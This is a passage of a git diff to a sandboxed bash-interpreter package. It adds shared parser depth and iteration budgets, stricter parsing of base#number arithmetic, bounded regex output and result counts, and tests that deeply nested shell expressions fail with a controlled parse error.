     if (input[currentPos] === ")") currentPos++;
     return { expr: { type: "ArithGroup", expression: expr }, pos: currentPos };
@@ -814,7 +838,7 @@ function parseArithPrimary(
     if (!trimmed) {
       return { expr: { type: "ArithNumber", value: 0 }, pos: currentPos };
     }
-    const { expr } = parseArithExpr(p, trimmed, 0);
+    const { expr } = parseNestedArithExpr(p, trimmed, 0);
     return { expr, pos: currentPos };
   }
 
@@ -1032,7 +1056,7 @@ function parseArithPrimary(
 
       let indexExpr: ArithExpr | undefined;
       if (stringKey === undefined) {
-        const { expr, pos: p2 } = parseArithExpr(p, input, currentPos);
+        const { expr, pos: p2 } = parseNestedArithExpr(p, input, currentPos);
         indexExpr = expr;
         currentPos = p2;
         if (input[currentPos] === "]") currentPos++; // Skip ]
@@ -1056,10 +1080,8 @@ function parseArithPrimary(
             input.slice(currentPos, currentPos + op.length + 1) !== "=="
           ) {
             currentPos += op.length;
-            const { expr: value, pos: p2 } = parseArithTernary(
-              p,
-              input,
-              currentPos,
+            const { expr: value, pos: p2 } = p.withDepth(() =>
+              parseArithTernary(p, input, currentPos),
             );
             return {
               expr: {
@@ -1100,10 +1122,8 @@ function parseArithPrimary(
         ) {
           currentPos += op.length;
           // Use parseArithTernary instead of parseArithExpr to give assignment higher precedence than comma
-          const { expr: value, pos: p2 } = parseArithTernary(
-            p,
-            input,
-            currentPos,
+          const { expr: value, pos: p2 } = p.withDepth(() =>
+            parseArithTernary(p, input, currentPos),
           );
           return {
             expr: {
diff --git a/packages/just-bash/src/parser/arithmetic-primaries.ts b/packages/just-bash/src/parser/arithmetic-primaries.ts
index 9fdf3474..ee0e2d8c 100644
--- a/packages/just-bash/src/parser/arithmetic-primaries.ts
+++ b/packages/just-bash/src/parser/arithmetic-primaries.ts
@@ -51,22 +51,16 @@ export function parseArithNumber(str: string): number {
   // Handle base#num format
   // Bash supports bases 2-64 with digits: 0-9, a-z (10-35), A-Z (36-61), @ (62), _ (63)
   if (str.includes("#")) {
-    const [baseStr, numStr] = str.split("#");
+    const parts = str.split("#");
+    if (parts.length !== 2) return Number.NaN;
+    const [baseStr, numStr] = parts;
+    if (!/^\d+$/.test(baseStr) || numStr.length === 0) return Number.NaN;
     const base = Number.parseInt(baseStr, 10);
     if (base < 2 || base > 64) {
       return Number.NaN;
     }
-    // For bases <= 36, we can use parseInt
-    if (base <= 36) {
-      const result = Number.parseInt(numStr, base);
-      // Clamp to MAX_SAFE_INTEGER (we don't support 64-bit integers)
-      if (result > Number.MAX_SAFE_INTEGER) {
-        return Number.MAX_SAFE_INTEGER;
-      }
-      return result;
-    }
-
-    // For bases 37-64, manually calculate
+    // Parse every digit ourselves. Number.parseInt accepts a valid prefix and
+    // silently ignores an invalid suffix (for example `2#10x`).
     let result = 0;
     for (const ch of numStr) {
       let digitValue: number;
@@ -75,7 +69,8 @@ export function parseArithNumber(str: string): number {
       } else if (/[a-z]/.test(ch)) {
         digitValue = ch.charCodeAt(0) - "a".charCodeAt(0) + 10;
       } else if (/[A-Z]/.test(ch)) {
-        digitValue = ch.charCodeAt(0) - "A".charCodeAt(0) + 36;
+        digitValue =
+          ch.charCodeAt(0) - "A".charCodeAt(0) + (base <= 36 ? 10 : 36);
       } else if (ch === "@") {
         digitValue = 62;
       } else if (ch === "_") {
diff --git a/packages/just-bash/src/parser/command-parser.ts b/packages/just-bash/src/parser/command-parser.ts
index d0a35df1..4f9ef363 100644
--- a/packages/just-bash/src/parser/command-parser.ts
+++ b/packages/just-bash/src/parser/command-parser.ts
@@ -208,10 +208,15 @@ export function parseSimpleCommand(p: Parser): SimpleCommandNode {
         // Build the array assignment string: name=(elem1 elem2 ...)
         const elemStrings = elements.map((e) => WordParser.wordToString(p, e));
         const arrayStr = `${baseName}=(${elemStrings.join(" ")})`;
-        args.push(p.parseWordFromString(arrayStr, false, false));
+        args.push(p.parseWordFromString(arrayStr, false, false, true));
       } else {
         args.push(
-          p.parseWordFromString(tokenValue, token.quoted, token.singleQuoted),
+          p.parseWordFromString(
+            tokenValue,
+            token.quoted,
+            token.singleQuoted,
+            true,
+          ),
         );
       }
     } else if (p.check(TokenType.LPAREN)) {
diff --git a/packages/just-bash/src/parser/conditional-parser.ts b/packages/just-bash/src/parser/conditional-parser.ts
index 3a1c3cba..9eaa3aa5 100644
--- a/packages/just-bash/src/parser/conditional-parser.ts
+++ b/packages/just-bash/src/parser/conditional-parser.ts
@@ -173,7 +173,7 @@ function parseCondNot(p: Parser): ConditionalExpressionNode {
   if (p.check(TokenType.BANG)) {
     p.advance();
     p.skipNewlines();
-    const operand = parseCondNot(p);
+    const operand = p.withDepth(() => parseCondNot(p));
     return { type: "CondNot", operand };
   }
 
@@ -184,7 +184,7 @@ function parseCondPrimary(p: Parser): ConditionalExpressionNode {
   // Handle grouping: ( expr )
   if (p.check(TokenType.LPAREN)) {
     p.advance();
-    const expression = parseConditionalExpression(p);
+    const expression = p.withDepth(() => parseConditionalExpression(p));
     p.expect(TokenType.RPAREN);
     return { type: "CondGroup", expression };
   }
diff --git a/packages/just-bash/src/parser/expansion-parser.ts b/packages/just-bash/src/parser/expansion-parser.ts
index 6767069b..226ae0a2 100644
--- a/packages/just-bash/src/parser/expansion-parser.ts
+++ b/packages/just-bash/src/parser/expansion-parser.ts
@@ -355,17 +355,19 @@ function parseParameterOperation(
       const wordStr = value.slice(i, wordEnd);
       // Parse the word for expansions (variables, arithmetic, command substitution)
       // When inside double quotes, single quotes should be literal, not quote delimiters
-      const wordParts = parseWordParts(
-        p,
-        wordStr,
-        false,
-        false,
-        true, // isAssignment=true for tilde expansion after : in default values
-        false,
-        quoted,
-        false, // noBraceExpansion
-        false, // regexPattern
-        true, // inParameterExpansion - so \} is treated as escaped }
+      const wordParts = p.withDepth(() =>
+        parseWordParts(
+          p,
+          wordStr,
+          false,
+          false,
+          true, // isAssignment=true for tilde expansion after : in default values
+          false,
+          quoted,
+          false, // noBraceExpansion
+          false, // regexPattern
+          true, // inParameterExpansion - so \} is treated as escaped }
+        ),
       );
       const word = AST.word(ensureNonEmpty(wordParts));
 
@@ -450,17 +452,19 @@ function parseParameterOperation(
     const wordStr = value.slice(i, wordEnd);
     // Parse the word for expansions (variables, arithmetic, command substitution)
     // When inside double quotes, single quotes should be literal, not quote delimiters
-    const wordParts = parseWordParts(
-      p,
-      wordStr,
-      false,
-      false,
-      true, // isAssignment=true for tilde expansion after : in default values
-      false,
-      quoted,
-      false, // noBraceExpansion
-      false, // regexPattern
-      true, // inParameterExpansion - so \} is treated as escaped }
+    const wordParts = p.withDepth(() =>
+      parseWordParts(
+        p,
+        wordStr,
+        false,
+        false,
+        true, // isAssignment=true for tilde expansion after : in default values
+        false,
+        quoted,
+        false, // noBraceExpansion
+        false, // regexPattern
+        true, // inParameterExpansion - so \} is treated as escaped }
+      ),
     );
     const word = AST.word(ensureNonEmpty(wordParts));
 
@@ -503,7 +507,9 @@ function parseParameterOperation(
     const patternEnd = WordParser.findParameterOperationEnd(p, value, i);
     const patternStr = value.slice(i, patternEnd);
     // Parse the pattern for variable expansions and quoting (like PatternReplacement)
-    const patternParts = parseWordParts(p, patternStr, false, false, false);
+    const patternParts = p.withDepth(() =>
+      parseWordParts(p, patternStr, false, false, false),
+    );
     const pattern = AST.word(ensureNonEmpty(patternParts));
 
     return {
@@ -538,7 +544,9 @@ function parseParameterOperation(
     }
     const patternStr = value.slice(i, patternEnd);
     // Parse the pattern for variable expansions (e.g., ${var//$pat/repl})
-    const patternParts = parseWordParts(p, patternStr, false, false, false);
+    const patternParts = p.withDepth(() =>
+      parseWordParts(p, patternStr, false, false, false),
+    );
     const pattern = AST.word(ensureNonEmpty(patternParts));
 
     let replacement: WordNode | null = null;
@@ -553,7 +561,9 @@ function parseParameterOperation(
       );
       const replaceStr = value.slice(replaceStart, replaceEnd);
       // Parse the replacement for variable expansions
-      const replaceParts = parseWordParts(p, replaceStr, false, false, false);
+      const replaceParts = p.withDepth(() =>
+        parseWordParts(p, replaceStr, false, false, false),
+      );
       replacement = AST.word(ensureNonEmpty(replaceParts));
       endIdx = replaceEnd;
     }
diff --git a/packages/just-bash/src/parser/parser.depth-limits.test.ts b/packages/just-bash/src/parser/parser.depth-limits.test.ts
new file mode 100644
index 00000000..89e3d7fc
--- /dev/null
+++ b/packages/just-bash/src/parser/parser.depth-limits.test.ts
@@ -0,0 +1,70 @@
+import { describe, expect, it } from "vitest";
+import { Parser, parse } from "./parser.js";
+import { MAX_PARSER_DEPTH, ParseException } from "./types.js";
+
+function nestedParameterExpansion(depth: number): string {
+  let value = "fallback";
+  for (let i = 0; i < depth; i++) value = `\${x:-${value}}`;
+  return `echo ${value}`;
+}
+
+function nestedCommandSubstitution(depth: number): string {
+  let value = "echo leaf";
+  for (let i = 0; i < depth; i++) value = `echo $(${value})`;
+  return value;
+}
+
+function nestedBraceExpansion(depth: number): string {
+  let value = "{a,b}";
+  for (let i = 0; i < depth; i++) value = `{a,${value}}`;
+  return `echo ${value}`;
+}
+
+const nestingShapes: Array<[string, (depth: number) => string]> = [
+  [
+    "arithmetic unary operators",
+    (depth) => `echo $(( ${"!".repeat(depth)}1 ))`,
+  ],
+  [
+    "arithmetic groups",
+    (depth) => `echo $(( ${"(".repeat(depth)}1${")".repeat(depth)} ))`,
+  ],
+  [
+    "right-associative arithmetic powers",
+    (depth) =>
+      `echo $(( ${Array.from({ length: depth + 1 }, () => "1").join("**")} ))`,
+  ],
+  ["conditional negation", (depth) => `[[ ${"! ".repeat(depth)}x ]]`],
+  [
+    "conditional groups",
+    (depth) => `[[ ${"( ".repeat(depth)}x${" )".repeat(depth)} ]]`,
+  ],
+  ["parameter operations", nestedParameterExpansion],
+  ["command substitutions", nestedCommandSubstitution],
+  ["brace lists", nestedBraceExpansion],
+];
+
+describe("shared parser nesting budget", () => {
+  it.each(nestingShapes)("allows ordinary nested %s", (_name, source) => {
+    expect(() => parse(source(24))).not.toThrow();
+  });
+
+  it.each(
+    nestingShapes,
+  )("rejects deeply nested %s with a controlled parse error", (_name, source) => {
+    expect(() => parse(source(MAX_PARSER_DEPTH + 20))).toThrowError(
+      ParseException,
+    );
+    expect(() => parse(source(MAX_PARSER_DEPTH + 20))).toThrow(
+      `Maximum parser nesting depth exceeded (${MAX_PARSER_DEPTH})`,
+    );
+  });
+
+  it("releases shared depth after an unsuccessful parse", () => {
+    const parser = new Parser();
+    expect(() =>
+      parser.parse(nestedParameterExpansion(MAX_PARSER_DEPTH + 20)),
+    ).toThrowError(ParseException);
+    expect(() => parser.parse("echo recovered")).not.toThrow();
+  });
+});
diff --git a/packages/just-bash/src/parser/parser.ts b/packages/just-bash/src/parser/parser.ts
index f5d23e92..4d39f818 100644
--- a/packages/just-bash/src/parser/parser.ts
+++ b/packages/just-bash/src/parser/parser.ts
@@ -43,9 +43,8 @@ import {
 } from "./parser-substitution.js";
 import {
   MAX_INPUT_SIZE,
-  MAX_PARSE_ITERATIONS,
-  MAX_PARSER_DEPTH,
   MAX_TOKENS,
+  ParseBudget,
   ParseException,
 } from "./types.js";
 
@@ -65,10 +64,15 @@ export class Parser {
     stripTabs: boolean;
     quoted: boolean;
   }[] = [];
-  private parseIterations = 0;
-  private parseDepth = 0;
+  private readonly parseBudget: ParseBudget;
+  private readonly ownsParseBudget: boolean;
   private _input = "";
 
+  constructor(parseBudget?: ParseBudget) {
+    this.parseBudget = parseBudget ?? new ParseBudget();
+    this.ownsParseBudget = parseBudget === undefined;
+  }
+
   /**
    * Get the raw input string being parsed.
    * Used by conditional-parser for extracting exact whitespace in regex patterns.
@@ -81,14 +85,8 @@ export class Parser {
    * Check parse iteration limit to prevent infinite loops
    */
   checkIterationLimit(): void {
-    this.parseIterations++;
-    if (this.parseIterations > MAX_PARSE_ITERATIONS) {
-      throw new ParseException(
-        "Maximum parse iterations exceeded (possible infinite loop)",
-        this.current().line,
-        this.current().column,
-      );
-    }
+    const token = this.current();
+    this.parseBudget.chargeIteration(token?.line ?? 1, token?.column ?? 1);
   }
 
   /**
@@ -96,62 +94,72 @@ export class Parser {
    * from deeply nested constructs. Returns a function to decrement depth.
    */
   enterDepth(): () => void {
-    this.parseDepth++;
-    if (this.parseDepth > MAX_PARSER_DEPTH) {
-      throw new ParseException(
-        `Maximum parser nesting depth exceeded (${MAX_PARSER_DEPTH})`,
-        this.current().line,
-        this.current().column,
-      );
+    const token = this.current();
+    return this.parseBudget.enter(token?.line ?? 1, token?.column ?? 1);
+  }
+
+  withDepth<T>(callback: () => T): T {
+    const exitDepth = this.enterDepth();
+    try {
+      return callback();
+    } finally {
+      exitDepth();
     }
-    return () => {
-      this.parseDepth--;
-    };
   }
 
   /**
    * Parse a bash script string
    */
   parse(input: string, options?: LexerOptions): ScriptNode {
-    // Check input size limit
-    if (input.length > MAX_INPUT_SIZE) {
-      throw new ParseException(
-        `Input too large: ${input.length} bytes exceeds limit of ${MAX_INPUT_SIZE}`,
-        1,
-        1,
-      );
-    }
+    if (this.ownsParseBudget) this.parseBudget.reset();
+    const exitDepth = this.ownsParseBudget ? undefined : this.enterDepth();
+    try {
+      // Check input size limit
+      if (input.length > MAX_INPUT_SIZE) {
+        throw new ParseException(
+          `Input too large: ${input.length} bytes exceeds limit of ${MAX_INPUT_SIZE}`,
+          1,
+          1,
+        );
+      }
 
-    this._input = input;
-    const lexer = new Lexer(input, options);
-    this.tokens = lexer.tokenize();
+      this._input = input;
+      const lexer = new Lexer(input, options);
+      this.tokens = lexer.tokenize();
 
-    // Check token count limit
-    if (this.tokens.length > MAX_TOKENS) {
-      throw new ParseException(
-        `Too many tokens: ${this.tokens.length} exceeds limit of ${MAX_TOKENS}`,
-        1,
-        1,
-      );
-    }
+      // Check token count limit
+      if (this.tokens.length > MAX_TOKENS) {
+        throw new ParseException(
+          `Too many tokens: ${this.tokens.length} exceeds limit of ${MAX_TOKENS}`,
+          1,
+          1,
+        );
+      }
 
-    this.pos = 0;
-    this.pendingHeredocs = [];
-    this.parseIterations = 0;
-    this.parseDepth = 0;
-    return this.parseScript();
+      this.pos = 0;
+      this.pendingHeredocs = [];
+      this.parseBudget.chargeTokens(this.tokens.length);
+      return this.parseScript();
+    } finally {
+      exitDepth?.();
+    }
   }
 
   /**
    * Parse from pre-tokenized input
    */
   parseTokens(tokens: Token[]): ScriptNode {
-    this.tokens = tokens;
-    this.pos = 0;
-    this.pendingHeredocs = [];
-    this.parseIterations = 0;
-    this.parseDepth = 0;
-    return this.parseScript();
+    if (this.ownsParseBudget) this.parseBudget.reset();
+    const exitDepth = this.ownsParseBudget ? undefined : this.enterDepth();
+    try {
+      this.tokens = tokens;
+      this.pos = 0;
+      this.pendingHeredocs = [];
+      this.parseBudget.chargeTokens(tokens.length);
+      return this.parseScript();
+    } finally {
+      exitDepth?.();
+    }
   }
 
   // ===========================================================================
@@ -819,7 +827,7 @@ export class Parser {
     return parseCommandSubstitutionFromString(
       value,
       start,
-      () => new Parser(),
+      () => new Parser(this.parseBudget),
       (msg) => this.error(msg),
     );
   }
@@ -834,7 +842,7 @@ export class Parser {
       value,
       start,
       inDoubleQuotes,
-      () => new Parser(),
+      () => new Parser(this.parseBudget),
       (msg) => this.error(msg),
     );
   }
@@ -1112,45 +1120,48 @@ export class Parser {
 
   parseCompoundList(): StatementNode[] {
     const exitDepth = this.enterDepth();
-    const statements: StatementNode[] = [];
+    try {
+      const statements: StatementNode[] = [];
 
-    this.skipNewlines();
+      this.skipNewlines();
 
-    while (
-      !this.check(
-        TokenType.EOF,
-        TokenType.FI,
-        TokenType.ELSE,
-        TokenType.ELIF,
-        TokenType.THEN,
-        TokenType.DO,
-        TokenType.DONE,
-        TokenType.ESAC,
-        TokenType.RPAREN,
-        TokenType.RBRACE,
-        TokenType.DSEMI,
-        TokenType.SEMI_AND,
-        TokenType.SEMI_SEMI_AND,
-      ) &&
-      this.isCommandStart()
-    ) {
-      this.checkIterationLimit();
-      const posBefore = this.pos;
+      while (
+        !this.check(
+          TokenType.EOF,
+          TokenType.FI,
+          TokenType.ELSE,
+          TokenType.ELIF,
+          TokenType.THEN,
+          TokenType.DO,
+          TokenType.DONE,
+          TokenType.ESAC,
+          TokenType.RPAREN,
+          TokenType.RBRACE,
+          TokenType.DSEMI,
+          TokenType.SEMI_AND,
+          TokenType.SEMI_SEMI_AND,
+        ) &&
+        this.isCommandStart()
+      ) {
+        this.checkIterationLimit();
+        const posBefore = this.pos;
 
-      const stmt = this.parseStatement();
-      if (stmt) {
-        statements.push(stmt);
-      }
-      this.skipSeparators();
+        const stmt = this.parseStatement();
+        if (stmt) {
+          statements.push(stmt);
+        }
+        this.skipSeparators();
 
-      // Safety: if we didn't advance and didn't get a statement, break
-      if (this.pos === posBefore && !stmt) {
-        break;
+        // Safety: if we didn't advance and didn't get a statement, break
+        if (this.pos === posBefore && !stmt) {
+          break;
+        }
       }
-    }
 
-    exitDepth();
-    return statements;
+      return statements;
+    } finally {
+      exitDepth();
+    }
   }
 
   parseOptionalRedirections(): RedirectionNode[] {
diff --git a/packages/just-bash/src/parser/types.ts b/packages/just-bash/src/parser/types.ts
index 570ec369..e6398f2e 100644
--- a/packages/just-bash/src/parser/types.ts
+++ b/packages/just-bash/src/parser/types.ts
@@ -9,7 +9,7 @@ import { type Token, TokenType } from "./lexer.js";
 // Parser limits to prevent hangs and resource exhaustion
 export const MAX_INPUT_SIZE = 1_000_000; // 1MB max input
 export const MAX_TOKENS = 100_000; // Max tokens to parse
-export const MAX_PARSE_ITERATIONS = 1_000_000; // Max iterations in parsing loops
+const MAX_PARSE_ITERATIONS = 1_000_000; // Max iterations in parsing loops
 export const MAX_PARSER_DEPTH = 200; // Max recursion depth for nested constructs
 
 // Pre-computed Sets for fast redirection token lookup (avoids array allocation per call)
@@ -75,3 +75,57 @@ export class ParseException extends Error {
     this.name = "ParseException";
   }
 }
+
+/** Mutable limits shared by every parser created for one top-level source. */
+export class ParseBudget {
+  private iterations = 0;
+  private tokens = 0;
+  private depth = 0;
+
+  reset(): void {
+    this.iterations = 0;
+    this.tokens = 0;
+    this.depth = 0;
+  }
+
+  chargeIteration(line: number, column: number): void {
+    this.iterations++;
+    if (this.iterations > MAX_PARSE_ITERATIONS) {
+      throw new ParseException(
+        "Maximum parse iterations exceeded (possible infinite loop)",
+        line,
+        column,
+      );
+    }
+  }
+
+  chargeTokens(count: number, line = 1, column = 1): void {
+    this.tokens += count;
+    if (this.tokens > MAX_TOKENS) {
+      throw new ParseException(
+        `Too many tokens: cumulative count exceeds limit of ${MAX_TOKENS}`,
+        line,
+        column,
+      );
+    }
+  }
+
+  enter(line: number, column: number): () => void {
+    this.depth++;
+    if (this.depth > MAX_PARSER_DEPTH) {
+      this.depth--;
+      throw new ParseException(
+        `Maximum parser nesting depth exceeded (${MAX_PARSER_DEPTH})`,
+        line,
+        column,
+      );
+    }
+
+    let active = true;
+    return () => {
+      if (!active) return;
+      active = false;
+      this.depth--;
+    };
+  }
+}
diff --git a/packages/just-bash/src/parser/word-parser.ts b/packages/just-bash/src/parser/word-parser.ts
index 84441b29..8d36d4de 100644
--- a/packages/just-bash/src/parser/word-parser.ts
+++ b/packages/just-bash/src/parser/word-parser.ts
@@ -669,10 +669,12 @@ export function tryParseBraceExpansion(
     // Split by comma at top level (handling nested braces)
     const rawItems = splitBraceItems(inner);
     // Parse each item as a word with full expansion support
-    const items = rawItems.map((s) => ({
-      type: "Word" as const,
-      word: AST.word(parseWordPartsFn(p, s, false, false, false)),
-    }));
+    const items = rawItems.map((s) =>
+      p.withDepth(() => ({
+        type: "Word" as const,
+        word: AST.word(parseWordPartsFn(p, s, false, false, false)),
+      })),
+    );
     return {
       part: { type: "BraceExpansion", items },
       endIndex: closeIdx + 1,
diff --git a/packages/just-bash/src/public-api-compatibility.test.ts b/packages/just-bash/src/public-api-compatibility.test.ts
new file mode 100644
index 00000000..944cc13e
--- /dev/null
+++ b/packages/just-bash/src/public-api-compatibility.test.ts
@@ -0,0 +1,38 @@
+import { describe, expect, it } from "vitest";
+import {
+  type Command,
+  type CommandContext,
+  createCommandContext,
+  EMPTY_BYTES,
+  InMemoryFs,
+} from "./index.js";
+
+describe("public API source compatibility", () => {
+  it("keeps standalone inputs separate from resolved command callbacks", async () => {
+    const context: CommandContext = {
+      fs: new InMemoryFs(),
+      cwd: "/",
+      env: new Map(),
+      stdin: EMPTY_BYTES,
+    };
+    const command: Command = {
+      name: "legacy",
+      async execute(_args, ctx) {
+        return {
+          stdout: `${ctx.cwd}:${ctx.limits.maxOutputSize}`,
+          stderr: "",
+          exitCode: 0,
+        };
+      },
+    };
+    const dispatched = createCommandContext({ fs: context.fs });
+
+    expect(await command.execute([], dispatched)).toEqual({
+      stdout: `/:${dispatched.limits.maxOutputSize}`,
+      stderr: "",
+      exitCode: 0,
+    });
+    expect("limits" in context).toBe(false);
+    expect(dispatched.limits.maxOutputSize).toBeGreaterThan(0);
+  });
+});
diff --git a/packages/just-bash/src/regex/index.ts b/packages/just-bash/src/regex/index.ts
index a946dc4d..e97c6baf 100644
--- a/packages/just-bash/src/regex/index.ts
+++ b/packages/just-bash/src/regex/index.ts
@@ -21,4 +21,5 @@ export {
   type RegexLike,
   type ReplaceCallback,
   UserRegex,
+  type UserRegexLimits,
 } from "./user-regex.js";
diff --git a/packages/just-bash/src/regex/user-regex.ts b/packages/just-bash/src/regex/user-regex.ts
index 6039af6c..d948d393 100644
--- a/packages/just-bash/src/regex/user-regex.ts
+++ b/packages/just-bash/src/regex/user-regex.ts
@@ -9,6 +9,17 @@
  */
 
 import { RE2JS, RE2JSSyntaxException } from "re2js";
+import { BoundedStringBuilder } from "../bounded-builder.js";
+import { ExecutionLimitError } from "../interpreter/errors.js";
+
+const DEFAULT_MAX_REGEX_RESULTS = 1_000_000;
+const DEFAULT_MAX_REGEX_OUTPUT_BYTES = 64 * 1024 * 1024;
+
+export interface UserRegexLimits {
+  maxResults?: number;
+  maxOutputBytes?: number;
+  signal?: AbortSignal;
+}
 
 /**
  * Type for replacement callback functions.
@@ -86,6 +97,69 @@ export class UserRegex implements RegexLike {
   // which is broken in re2js 1.2.1 — see acquireMatcher).
   private _matcher: ReturnType<RE2JS["matcher"]> | null = null;
   private _matcherInput: string | null = null;
+  private readonly maxResults: number;
+  private readonly maxOutputBytes: number;
+  private readonly signal?: AbortSignal;
+
+  private assertResultCount(count: number): void {
+    if (this.signal?.aborted) throw new Error("regular expression aborted");
+    if (count > this.maxResults) {
+      throw new ExecutionLimitError(
+        `regular expression result limit exceeded (${this.maxResults})`,
+        "array_elements",
+      );
+    }
+  }
+
+  private expandReplacement(
+    matcher: ReturnType<RE2JS["matcher"]>,
+    replacement: string,
+  ): string {
+    const output = new BoundedStringBuilder(
+      this.maxOutputBytes,
+      "regular expression replacement",
+    );
+    const groupCount = this._re2.groupCount();
+    const namedGroups = this._re2.namedGroups();
+    for (let index = 0; index < replacement.length; index++) {
+      const char = replacement[index];
+      if (char === "\\" && index + 1 < replacement.length) {
+        output.append(replacement[++index]);
+        continue;
+      }
+      if (char !== "$" || index + 1 >= replacement.length) {
+        output.append(char);
+        continue;
+      }
+      if (replacement[index + 1] === "{") {
+        const end = replacement.indexOf("}", index + 2);
+        if (end !== -1) {
+          const name = replacement.slice(index + 2, end);
+          const groupIndex = namedGroups?.[name];
+          if (groupIndex !== undefined) {
+            output.append(matcher.group(groupIndex) ?? "");
+            index = end;
+            continue;
+          }
+        }
+      }
+      if (/\d/.test(replacement[index + 1])) {
+        let end = index + 1;
+        let group = 0;
+        while (end < replacement.length && /\d/.test(replacement[end])) {
+          const candidate = group * 10 + Number(replacement[end]);
+          if (candidate > groupCount) break;
+          group = candidate;
+          end++;
+        }
+        output.append(matcher.group(group) ?? "");
+        index = end - 1;
+        continue;
+      }
+      output.append(char);
+    }
+    return output.build();
+  }
 
   private acquireMatcher(input: string): ReturnType<RE2JS["matcher"]> {
     if (this._matcher === null) {
@@ -110,12 +184,24 @@ export class UserRegex implements RegexLike {
     return this._matcher;
   }
 
-  constructor(pattern: string, flags = "") {
+  constructor(pattern: string, flags = "", limits: UserRegexLimits = {}) {
     this._pattern = pattern;
     this._flags = flags;
     this._global = flags.includes("g");
     this._ignoreCase = flags.includes("i");
     this._multiline = flags.includes("m");
+    this.maxResults = limits.maxResults ?? DEFAULT_MAX_REGEX_RESULTS;
+    this.maxOutputBytes =
+      limits.maxOutputBytes ?? DEFAULT_MAX_REGEX_OUTPUT_BYTES;
+    this.signal = limits.signal;
+    if (
+      !Number.isSafeInteger(this.maxResults) ||
+      this.maxResults < 0 ||
+      !Number.isSafeInteger(this.maxOutputBytes) ||
+      this.maxOutputBytes < 0
+    ) {
+      throw new Error("invalid regular expression limits");
+    }
 
     try {
       const translatedPattern = translatePattern(pattern);
@@ -246,6 +332,7 @@ export class UserRegex implements RegexLike {
 
     while (matcher.find(pos)) {
       const matchStr = matcher.group(0) ?? "";
+      this.assertResultCount(matches.length + 1);
       matches.push(matchStr);
       pos = matcher.end(0);
       // Handle zero-length matches
@@ -270,11 +357,26 @@ export class UserRegex implements RegexLike {
     }
 
     if (typeof replacement === "string") {
-      const matcher = this.acquireMatcher(input);
-      if (this._global) {
-        return matcher.replaceAll(replacement, true);
+      const matcher = this._re2.matcher(input);
+      const output = new BoundedStringBuilder(
+        this.maxOutputBytes,
+        "regular expression replacement",
+      );
+      let lastEnd = 0;
+      let position = 0;
+      let count = 0;
+      while (matcher.find(position)) {
+        this.assertResultCount(++count);
+        const start = matcher.start(0);
+        const end = matcher.end(0);
+        output.append(input.slice(lastEnd, start));
+        output.append(this.expandReplacement(matcher, replacement));
+        lastEnd = end;
+        position = end > start ? end : end + 1;
+        if (!this._global || position > input.length) break;
       }
-      return matcher.replaceFirst(replacement, true);
+      output.append(input.slice(lastEnd));
+      return output.build();
     }
 
     // Callback replacement - we need to do this manually.
@@ -284,16 +386,21 @@ export class UserRegex implements RegexLike {
     // matcher's charSequence to a different input. The next matcher.find(pos)
     // would then advance through the wrong string. A fresh matcher keeps the
     // iteration state private to this replace() call.
-    const result: string[] = [];
+    const result = new BoundedStringBuilder(
+      this.maxOutputBytes,
+      "regular expression replacement",
+    );
     const matcher = this._re2.matcher(input);
     let lastEnd = 0;
     let pos = 0;
+    let matchCount = 0;
     const groupCount = this._re2.groupCount();
     const namedGroups = this._re2.namedGroups();
 
     while (matcher.find(pos)) {
       // Add text before match
-      result.push(input.slice(lastEnd, matcher.start(0)));
+      this.assertResultCount(++matchCount);
+      result.append(input.slice(lastEnd, matcher.start(0)));
 
       // Build callback arguments
       const args: (string | number | Record<string, string>)[] = [];
@@ -324,7 +431,7 @@ export class UserRegex implements RegexLike {
       const matchStart = matcher.start(0);
       const matchEnd = matcher.end(0);
 
-      result.push(replacement(fullMatch, ...args));
+      result.append(replacement(fullMatch, ...args));
 
       lastEnd = matchEnd;
       pos = lastEnd;
@@ -338,9 +445,9 @@ export class UserRegex implements RegexLike {
     }
 
     // Add remaining text
-    result.push(input.slice(lastEnd));
+    result.append(input.slice(lastEnd));
 
-    return result.join("");
+    return result.build();
   }
 
   /**
@@ -349,15 +456,26 @@ export class UserRegex implements RegexLike {
    * but JS split truncates to exactly limit elements. We implement JS behavior.
    */
   split(input: string, limit?: number): string[] {
-    if (limit === undefined || limit < 0) {
-      return this._re2.split(input, -1);
-    }
     if (limit === 0) {
       return [];
     }
-    // RE2JS returns remainder in last element; JS just takes first N elements
-    const result = this._re2.split(input, -1);
-    return result.slice(0, limit);
+    const effectiveLimit =
+      limit === undefined || limit < 0
+        ? this.maxResults
+        : Math.min(limit, this.maxResults);
+    const result: string[] = [];
+    const matcher = this._re2.matcher(input);
+    let lastEnd = 0;
+    let searchFrom = 0;
+    while (result.length < effectiveLimit && matcher.find(searchFrom)) {
+      this.assertResultCount(result.length + 1);
+      result.push(input.slice(lastEnd, matcher.start(0)));
+      lastEnd = matcher.end(0);
+      searchFrom =
+        matcher.end(0) > matcher.start(0) ? matcher.end(0) : matcher.end(0) + 1;
+    }
+    if (result.length < effectiveLimit) result.push(input.slice(lastEnd));
+    return result;
   }
 
   /**
@@ -389,8 +507,10 @@ export class UserRegex implements RegexLike {
     const groupCount = this._re2.groupCount();
     const namedGroups = this._re2.namedGroups();
     let pos = 0;
+    let resultCount = 0;
 
     while (matcher.find(pos)) {
+      this.assertResultCount(++resultCount);
       // Build result array
       const result: string[] = [];
       result.push(matcher.group(0) ?? "");
@@ -508,8 +628,12 @@ export class UserRegex implements RegexLike {
  * @returns A UserRegex instance
  * @throws Error if the pattern is invalid
  */
-export function createUserRegex(pattern: string, flags = ""): UserRegex {
-  return new UserRegex(pattern, flags);
+export function createUserRegex(
+  pattern: string,
+  flags = "",
+  limits: UserRegexLimits = {},
+): UserRegex {
+  return new UserRegex(pattern, flags, limits);
 }
 
 /**
diff --git a/packages/just-bash/src/sandbox/Sandbox.security.test.ts b/packages/just-bash/src/sandbox/Sandbox.security.test.ts
index 171434d4..9d9341a7 100644
--- a/packages/just-bash/src/sandbox/Sandbox.security.test.ts
+++ b/packages/just-bash/src/sandbox/Sandbox.security.test.ts
@@ -69,8 +69,8 @@ describe("Sandbox API security hardening", () => {
 
       expect(elapsedMs).toBeLessThan(500);
       expect(await result.stdout()).toBe("");
-      expect(await result.stderr()).toBe("");
-      expect([0, 124]).toContain(result.exitCode);
+      expect(await result.stderr()).toBe("bash: execution aborted\n");
+      expect(result.exitCode).toBe(124);
     });
 
     it("propagates AbortSignal in string+args runCommand form", async () => {
@@ -86,8 +86,8 @@ describe("Sandbox API security hardening", () => {
 
       expect(elapsedMs).toBeLessThan(500);
       expect(await result.stdout()).toBe("");
-      expect(await result.stderr()).toBe("");
-      expect([0, 124]).toContain(result.exitCode);
